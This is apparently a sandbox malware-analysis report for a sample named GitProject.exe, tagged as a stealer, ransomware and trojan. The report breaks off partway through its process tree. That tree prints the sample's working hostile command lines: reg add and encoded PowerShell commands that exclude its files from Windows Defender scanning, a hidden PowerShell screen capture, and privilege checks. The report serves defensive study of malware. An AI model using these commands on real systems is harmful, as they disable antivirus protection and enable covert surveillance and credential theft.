Overview

overview

10

Static

static

3

GitProject.exe

windows10-2004-x64

10

GitProject.exe

windows10-ltsc_2021-x64

10

GitProject.exe

windows11-21h2-x64

10

GitProject.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    301s
  • max time network
    265s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 03:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    GitProject.exe
  • Size 80.9MB
  • Sample260704-ejhp8sax2w
  • SHA256 def580734d7194d862e5dac7d48980c392ba93ce5bf85c37f664666b61f83899
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Suspicious use of NtCreateProcessExOtherParentProcess 24 IoCs
  • Windows security bypass 2 TTPs 9 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 1 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 12 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

    defense_evasion
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

    Abuse Rundll32 to proxy execution of malicious code.

    defense_evasion
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 20 IoCs
  • Drops file in Windows directory 5 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 4 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 42 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\GitProject.exe
    "C:\Users\Admin\AppData\Local\Temp\GitProject.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
      C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1660 --field-trial-handle=1664,i,3129763512925240965,8983944824472240973,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3792
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4896
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:5996
        • C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2008 --field-trial-handle=1664,i,3129763512925240965,8983944824472240973,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2696
        • C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2208 --field-trial-handle=1664,i,3129763512925240965,8983944824472240973,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:752
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Windows\system32\net.exe
            net session
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1192
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:2176
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_999c839e.vbs""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5276
            • C:\Windows\system32\wscript.exe
              wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_999c839e.vbs"
              4⤵
                PID:3952
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:6048
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
                4⤵
                • Windows security bypass
                PID:5528
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5260
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
                4⤵
                  PID:5584
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688" /t REG_DWORD /d 0 /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1132
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688" /t REG_DWORD /d 0 /f
                  4⤵
                  • Windows security bypass
                  PID:5080
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688" /t REG_DWORD /d 0 /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3104
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688" /t REG_DWORD /d 0 /f
                  4⤵
                    PID:1172
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4484
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                    4⤵
                    • Windows security bypass
                    PID:2236
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4392
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                    4⤵
                      PID:5980
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1488
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe" /t REG_DWORD /d 0 /f
                      4⤵
                      • Windows security bypass
                      PID:1564
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3484
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe" /t REG_DWORD /d 0 /f
                      4⤵
                        PID:5864
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5312
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:5960
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3220
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe" /t REG_DWORD /d 0 /f
                        4⤵
                          PID:6052
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3424
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                          4⤵
                          • Windows security bypass
                          PID:2184
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1996
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                          4⤵
                          • Windows security bypass
                          PID:3576
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1856
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f
                          4⤵
                          • Windows security bypass
                          PID:2744
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1076
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f
                          4⤵
                          • Windows security bypass
                          PID:5496
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADcANgA3ADcANgA4ADgAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMANwA2ADcANwA2ADgAOABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA3ADYANwA3ADYAOAA4AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4184
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADcANgA3ADcANgA4ADgAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMANwA2ADcANwA2ADgAOABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA3ADYANwA3ADYAOAA4AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3716
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783137680406.png\"); $g.Dispose(); $bmp.Dispose()""
                        3⤵
                        • Hide Artifacts: Hidden Window
                        • Suspicious use of WriteProcessMemory
                        PID:5856
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
